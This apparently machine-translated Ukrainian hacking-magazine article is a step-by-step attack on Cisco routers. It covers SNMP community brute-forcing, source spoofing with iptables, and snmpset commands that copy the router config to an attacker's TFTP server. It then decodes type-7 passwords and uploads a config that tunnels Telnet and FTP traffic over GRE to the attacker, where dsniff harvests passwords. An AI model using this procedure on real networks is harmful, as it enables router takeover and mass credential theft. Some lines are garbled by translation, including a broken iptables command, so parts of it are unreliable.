Сьогодні маршрутизаторів фірми Cisco Systems це залізна основа мережі Інтернет. Їх стабільне функціонування є запорукою працездатності глобальної мережі, і тому будь-яка критична помилка в їх прошивці може поставити під загрозу нормальну роботу і зв’язність особливо важливих сегментів інтернету. Зараз я розповім про декілька вразливості залізної кішки, про яких ти просто зобов’язаний знати.
«Бочки», або злом маршрутизатора по SNMP

На щастя (а може, на жаль), останнім часом критичних помилок в операційній системі IOS почали знаходити все менше, а кількість багів в голові мережевих адміністраторів від цього не зменшується. На просторах Дикого-дикого Веба все ще можна зустріти роутери, доступ до яких здійснюється за допомогою Telnet і маршрутизатори SNMP-community з іменами public або private. Якщо використання для доступу до терміналу протоколу Telnet — це ще половина біди, то застосування простих і поширених імен SNMP-community (та ще й без належної фільтрації) — це взагалі повний білий пухнастий звір. SNMP-сервер маршрутизатора як раз і буде нашою головною метою атаки, варіантів якої може бути кілька.

Перший варіант відкритий для нас, якщо доступ до SNMP-агент атакується маршрутизатора фільтрується погано або не відбувається взагалі. В такому випадку достатньо використовувати перебір community-рядків за словником або брутфорсом. На щастя (або знову ж таки на жаль), SNMP-сервер не має поняття про те, що така кількість спроб і їх ліміт, тому перебір можна здійснювати суцільним потоком, використовуючи різні утиліти. Звичайно, краще, якщо це буде самописний скрипт, але використання готового софта теж цілком прийнятно. Наприклад, можна заюзать тулзы зі складу Solar Wind Engineers Toolset 9.0 комплекту програм для мережевих інженерів, до складу якого входять утиліти для брутфорсинга рядків SNMP-community і атаки по словнику. Утиліту дуже просто знайти в пірингових мережах, сподіваюся, це не складе великих проблем (для тих, хто в танку: ми виклали цю утиліту на наш DVD).

Другий варіант доступний нам, якщо SNMP-community задана поширеною (а значить, легко підбирається) рядком, але доступ до SNMP-агент надійно фільтрується в списках правил. Цей варіант ми розглянемо докладніше, оскільки він представляє більший інтерес і складність у порівнянні з першим. Звичайно, тут може мати місце ще більш складний варіант, що складається з комбінації першого і другого способу, про який ми ще поговоримо.

Отже, все ж повернемося до другого варіанту. В якості плацдарму для атаки будемо використовувати комп’ютер під управлінням ОС Linux (в моєму випадку це Gentoo Linux 2007.0 з ядром 2.6.23). Для реалізації атаки потрібна наявність пакету net-snmp і iptables (я використовував версії пакетів 5.4 і 1.3.8 відповідно). Крім усього іншого, в ядрі повинна бути включена повна трансляція мережевих адрес і відстеження сполук у вигляді модулів iptable_nat, ip_conntrack і ip_tables, або у вигляді наступних опцій в ядрі, заданих при компіляції:

CONFIG_NETFILTER=y
CONFIG_NF_CONNTRACK_ENABLED=y
CONFIG_NF_CONNTRACK=y
CONFIG_NF_CONNTRACK_IPV4=y
CONFIG_IP_NF_IPTABLES=y
CONFIG_NF_NAT=y
CONFIG_NF_NAT_NEEDED=y

Після установки всіх необхідних пакетів та, за необхідності, перезбирання ядра насамперед потрібно додати правило iptables, яке буде виконувати перетворення мережевих адрес (у нашому випадку їх підміну). У правилі необхідно вказати, що адреса джерела всіх пакетів, що прямують по протоколу UDP до SNMP-агент маршрутизатора (працюючого на 161-му UDP порту), треба замінити адресою того хоста, який може безперешкодно використовувати SNMP-менеджер для управління і збору статистики (читай: админский адресу). Подібна запис виглядає наступним чином:

iptables -t nat -A POSTROUTING -p udp –dst 10.10.100.200 –dport 161 -j nat джерела є специфічною формою –to-source 192.168.0.137

Тут dst адреса атакується маршрутизатора, –to-source адресу довіреної хоста, який має доступ до SNMP-агенту. Для повної впевненості в коректності функціонування такої команди рекомендую зробити пробний дамп tcpdump’ом і подивитися адреси призначення. Швидше за все, у тебе, мій шановний читачу, відразу виникло питання про те, як ми будемо отримувати відповіді від SNMP-сервера, маршрутизатора (агента). Відповідь ніяк. Нам це і не потрібно. Єдиний мінус такого розкладу ми не зможемо контролювати правильність виконання команд і бути абсолютно впевненими в тому, що ми все робимо правильно: відповіді будуть йти довіреній адресою, а ми буде отримувати тайм-аути запитів, проте маршрутизатор при правильно складених запитах покірно виконає все, що від нього вимагається. Насправді це дуже схоже на те, як ми нерідко вночі добираємося до холодильника на кухні: хоч очі нічого не бачать, дорогу ми прекрасно знаємо й завжди можемо знайти пункт призначення :). Така покірність маршрутизатора обумовлена, як ти здогадався, принципом роботи протоколу UDP, адже з’єднання по UDP на транспортному рівні не встановлюється, і ми спокійно може передавати дані, не турбуючись за їх доставку і не отримуючи повідомлення про неї.

Природно, як і в будь-якій іншій системі, велика здобич (хоча і не є головною метою) — це конфігураційні файли. Операційна система маршрутизаторів Cisco IOS не виняток, тут цими конфігураційними файлами можу бути running-config та startup-config, головна відмінність яких зрозуміло з назви, але різниці між ними повністю налаштованому і автономно функціонуючу маршрутизаторі найчастіше немає. Цей конфігураційний файл, що описує всі налаштування роутера, і буде нашою головною метою при атаці на SNMP-community, доступною на запис. Отримати конфіг можна кількома способами, але ті з них, які є автономними, ми розглядати не будемо. По мережі конфігураційний файл може бути отриманий по протоколах FTP, TFTP або RSCP. У своєму прикладі я буду використовувати протокол TFTP для простоти, як TFTPd заюзаем демон atftpd (я використовував версію atftp 0.7, хоча замість неї з таким же успіхом під Windows міг би бути заюзан TFTP-сервер зі складу SolarWinds Engineers Toolset). Спионеренный конфіг буде зберігатися в дефолтної папці tftpd — /tftpboot. Що до таблиць SNMP MIB, то нас буде цікавити розділ CISCO-CONFIG-COPY-MIB, який доступний в Cisco IOS починаючи з 12-ї гілки, замінивши собою застарілу секцію OLD-CISCO-SYSTEM-MIB.
Зазначимо, що для передачі даних використовуємо TFTP-протокол:

snmpset -v 1 -c private .1.3.6.1.4.1.9.9.96.1.1.1.1.2.666 integer 1

В якості цілого числа задається протокол 1 для TFTP, 2 для FTP і 3 для RSCP. Число 666 вибрано випадково і ідентифікує комірку, в яку ми записуємо нашу складову команду для копіювання. — ім’я цільового маршрутизатора або IP-адресу. У моєму випадку це 172.22.2.1. Власне, рядок «1.3.6.1.4.1.9.9.96.1.1.1.1.» — це фіксоване значення OID зі складу CISCO-CONFIG-COPY-MIB, що відповідає за копіювання. Потім йде цифра, яка відповідає (чим замінити?) за складові частини «команди копіювання» (лапки потрібні?). Далі вкажемо, що хочемо скопіювати поточний використовуваний конфігураційний файл — running-config:

snmpset -v 1 -c private .1.3.6.1.4.1.9.9.96.1.1.1.1.3.666 integer 4

Якщо вказати після integer 1, то IOS буде намагатися копіювати файл з мережі, що знаходиться, наприклад, на TFTP; якщо 2, то будь-який локальний файл, який не є конфігураційним; 3 (startup-config), 4 (running-config); і останній варіант 5 — стандартний термінальний висновок. Третьою командою вказуємо, що хочемо скопіювати файл по мережі (ccCopyDestFileType INTEGER: networkFile):

snmpset -v 1 -c private .1.3.6.1.4.1.9.9.96.1.1.1.1.4.666 integer 1

Варіанти цілочисельного параметра аналогічні попередній команді. Четвертою командою призначимо адресу TFTP-сервера:

snmpset -v 1 -c private .1.3.6.1.4.1.9.9.96.1.1.1.1.5.666 address .

У моєму випадку це 172.22.1.18. Далі задаємо ім’я файлу на TFTP-сервері:

snmpset -v 1 -c private .1.3.6.1.4.1.9.9.96.1.1.1.1.6.666 string victim-config

Після того як команда складена, можна запускати процес копіювання:

snmpset -v 1 -c private .1.3.6.1.4.1.9.9.96.1.1.1.1.14.666 integer 1

Для запуску копіювання можна вказати параметр 1 або 4. Якщо б у нас був доступ, то ми могли б перевірити, чи успішно виконана команда:

snmpwalk -v 1 -c private .1.3.6.1.4.1.9.9.96.1.1.1.1.10.666

Однак, як і у випадку всіх інших команд, нам буде повернуто статус:

Timeout: No Response from .

Тому правильність виконання команди ми будемо перевіряти за наявності в папці /tftpboot файлу victim-config прийнятного розміру. Далі можна підчистити за собою сліди видалити комірку 666 з усіма нашими командами:

snmpset -v 1 -c private .1.3.6.1.4.1.9.9.96.1.1.1.1.14.666 integer 6

Ах так, трохи не забув: природно, як community-рядки private повинно бути ім’я, задане на маршрутизаторі.
«Апельсини», або зливаємо паролі через GRE-тунель

Перейдемо до наступного пункту наших дій отриманню термінального доступу до консолі. У скачаному конфіги нас найбільше цікавлять, як це ні банально, паролі. Паролів може бути декілька в різних варіаціях: пароль на enable-режим (enable password 7 або enable secret 5 ), пароль на термінальний доступ:


!
line vty 0 15
password 7

А також пароль та ім’я користувача (username password 7 або username secret 5 ).

Крім усього вищезгаданого, замість відкритого тексту в конфігураційному файлі може бути присутнім, наприклад, такий рядок: «password 7 06120A3258», де пароль закодований в результаті застосування команди service password-encryption. Тут 06120A3258 не що інше, як пароль, відображений відкритим текстом — «test». Подібну кодування назвати шифруванням важко, так як алгоритм її кодування давно відомий і декодується, наприклад, утилітою Cain&Abel, хоча точно такі ж можливості надає Solar Wind Engineers Toolset в утиліті Cisco Router Password Decryption.

Повертаючись до конфігураційного файлу атакується маршрутизатора, ми легко знайдемо рядки, які відповідають за конфігурацію паролів, і взломаем їх перебором або за словником в Cain або просто декодируем їх. Звичайно, якщо пароль встановлено в MD5, то доведеться витратити значний час. Отже, отриманий пароль! Однак радіти ще рано, адже доступ до віртуального терміналу може бути обмежений списком доступу, наприклад, так:


!
access-list 10 permit 172.22.1.7
access-list 10 deny any
!

line vty 0 4
access-in class 10
password 7 051F031C35
login
!

У такому випадку рішення може бути як мінімум два. Перше спробувати обійти цей стандартний список доступу. Однак трюк, подібний до того, що ми провели з SNMP, тут не прокотить з кількох причин. Як Telnet і SSH-протоколи використовують надійний транспортний протокол TCP, який неодмінно вимагає установки з’єднання з допомогою трьохетапного рукостискання SYNSYN/ACKACK. Крім того, відповідні дані отримувати просто необхідно, інакше з’єднання втрачає свій сенс. І все ж рішення цієї проблеми є, але доступно воно лише в тому випадку, якщо атакуючий знаходиться в тій же підмережі, що й адреси, доступ яким дозволений по терміналу. Загальний сенс зводиться або до простої зміни адреси на інтерфейсі атакуючого, або до спуфингу IP-адреси і/або MAC-адреси. Моєю улюбленою утилітою, що реалізує останнє, є sTerm від кодера MAO, творця Cain&Abel. Швидше за все, розібратися з нею не складе труднощів: все, що потрібно зробити, це задати бажаний IP-адресу та вказати, чи потрібно спуфить MAC-адресу джерела.

І все ж дістатися в потрібний сегмент мережі найчастіше не представляється можливим, оскільки знаходиться він, на відміну від маршрутизаторів, в DMZ за корпоративним апаратним файрволом на основі, наприклад, Cisco PIX. Звичайно, цей пристрій теж піддається деяким вразливостей, але це привід для окремої статті. Отже, припустимо, ми знаходимося за багато кілометрів і хоперів від атакується маршрутизатора, і наша кінцева мета пачками в благородних цілях (для колекції) зібрати паролі користувачів, трафік яких проходить через той самий маршрутизатор.

Тоді ми виберемо іншу тактику і знову звернемося до SNMP. Все, що потрібно змінити в попередньому сценарії, це поміняти місцями джерело копіювання та призначення, попередньо змінивши конфігураційний файл на нашому TFTP. Цей спосіб також застосовується, якщо нам не вдалося/не вистачило потужності або часу/ліниво підібрати пароль. Ідея нашої атаки полягає у створенні тунелю між атакуючим і атакуемым роутером для завертання трафіку від маршрутизатора до атакуючого і подальшого його повернення на роутер. Якщо ти знайомий з базовими принципами маршрутизації, то повинен чудово розуміти, що тунель необхідний, щоб адреса наступного пункту призначення знаходився в тій же підмережі, що й один з інтерфейсів маршрутизатора, через який буде проходити той самий трафік. В нашому випадку це буде найпоширеніший інтерфейс-тунель, що використовується на Cisco роутерах, GRE.

Відкриваємо улюблений текстовий редактор (ганьба, якщо це не vim або emacs) і приступаємо до редагування:

..
!
interface Tunnel0
ip address 10.0.0.1 255.255.255.252
tunnel source 172.22.2.1
tunnel destination 172.22.1.18
!
interface Ethernet0/0
ip address 172.22.2.1 255.255.255.128
ip policy route-map sniff-traffic
!
interface Ethernet0/1
ip address 192.168.0.2 255.255.255.252
ip policy route-map sniff-traffic
!

!
access-list 101 permit tcp any any eq telnet
access-list 101 permit tcp any any eq ftp
access-list 101 permit tcp any eq telnet any
access-list 101 permit tcp any eq ftp any

route-map sniff-traffic permit 10
match ip address 101
set ip next-hop 10.0.0.2
!

Першим ділом ми створюємо новий інтерфейс Tunnel0. За замовчуванням він має тип IP/GRE. В якості джерела задамо один з адрес існуючих інтерфейсів маршрутизатора, що беруть участь в процесі форвардингу трафіку, а в якості адреси призначення адресу атакуючого. В моєму прикладі це 172.22.1.18. Далі створюємо розширений список доступу, який може фільтрувати трафік, на відміну від стандартних ACL, не тільки по IP-адресою джерела, і вкажемо, які протоколи, точніше, порти служб, до яких прямує трафік, нас цікавлять. Наступним кроком буде створення карти маршруту (route-map), в якій ми повідомляємо, що хочемо перенаправляти трафік, який відповідає критеріям ACL 101, на адресу 10.0.0.2, який згодом призначимо тунельному інтерфейсу на машині атакуючого. Ну і, нарешті, застосуємо мапу маршрутів до інтерфейсів з допомогою політики IP:

ip policy route-map sniff-traffic

Всі. Конфігурація готова, можна заливати її назад на маршрутизатор, як я описав це вище. Тепер перейдемо до машини атакуючого. Для наших цілей нам знадобиться модуль ядра ip_gre. Ось що повідомив modinfo про це модулі в моїй системі:

filename: /lib/modules/2.6.23-gentoo-r1/kernel/net/ipv4/ip_gre.ko
ліцензія: GPL
depends:
vermagic: 2.6.23-gentoo-r1 mod_unload 686 4KSTACKS

Для завантаження модуля виконаємо:

modprobe ip_gre

І перевіримо успішність його завантаження з допомогою команди:

lsmod | grep ip_gre

Якщо все пройшло успішно, то саме час приступити до установки пакета iproute2 — набору програм для перегляду і маніпуляції параметрами мережних пристроїв, який замінив повний набір класичних мережевих утиліт *nix. З допомогою нього ми будемо управляти нашим GRE-тунелем і маршрутизацією. Я використовував версію iproute2-ss070710, чого і тобі раджу (на момент написання статті вона була останньою). Тунель буде аналогічний тому, що ми створили на маршрутизаторі, з тим лише відмінністю, що адреси джерела і призначення поміняються місцями:

ip tunnel add Tunnel0 mode gre remote 172.22.2.1 local 172.22.1.18

Далі призначаємо адреси тунелю:

ip addr add 10.0.0.2/30 dev Tunnel0

І піднімаємо лінк:

ip link set Tunnel0 up
ip addr add 10.0.0.2/30 dev Tunnel0

Так як весь трафік нам необхідно повертати на атакується маршрутизатор, то основним шлюзом буде для нас адреса 10.0.0.1. Щоб не втратити зв’язок з адресою 172.22.2.1, пропишемо до нього окрему маршрутизацію:

ip route del default
ip route add default via 10.0.0.1
ip route add 172.22.2.0/25 via 172.22.1.61

Природно, щоб була можливість перенаправляти трафік, необхідно таку опцію включити:

echo ‘1’ > /proc/sys/net/ipv4/ip_forward

І перевірити, чи все коректно налаштоване у нас в iptables для ланцюжка FORWARD. Тепер все готово для того, щоб перенаправляти трафік і витягувати з нього паролі валізами. Як парольного сніфера я використовую dsniff версії 2.4. Запустимо його:

dsniff -i Tunnel0 -w ./sniffed_passwords

Через деякий час файл sniffed_passwords почне заповнюватися паролів від FTP і Telnet-сесій. Прочитати файл можна так:

dsniff -r ./sniffed_passwords
Пригода

Як говорив Остап Бендер, «вантажте апельсини бочками». На цьому все. Варто відзначити, що подібний сценарій вже був описаний у статті Mati Aharoni, William M. Hidalgo «Cisco SNMP configuration attack with a GRE tunnel» www.securityfocus.com ще в 2005 році. Однак спосіб, наведений авторами, надзвичайно незручний, оскільки вимагає фізичного доступу до маршрутизатора у атакуючого і має схильність до страшних збочень з tcpdump’ом. Природно, Циску в найближчому кіоску не купиш, та й коштує найпростіша модель чималих грошей. Це перше. А друге дістати жирний канал, який зміг би охопити великий обсяг трафіку, теж буде проблематично. Ну і третє скритність. Зрозуміло, що анонімний root-shell приховає сліди атакуючого, та й дістати його дуже просто (але не в сусідньому кіоску :)). Всього найкращого.
Danger

Увага! Всі дії зломщика протизаконні! Інформація представлена виключно з метою ознайомлення! Ні автор, ні редакція за твої дії відповідальності не несуть! Всі експерименти по злому проводилися виключно на тестовому стенді.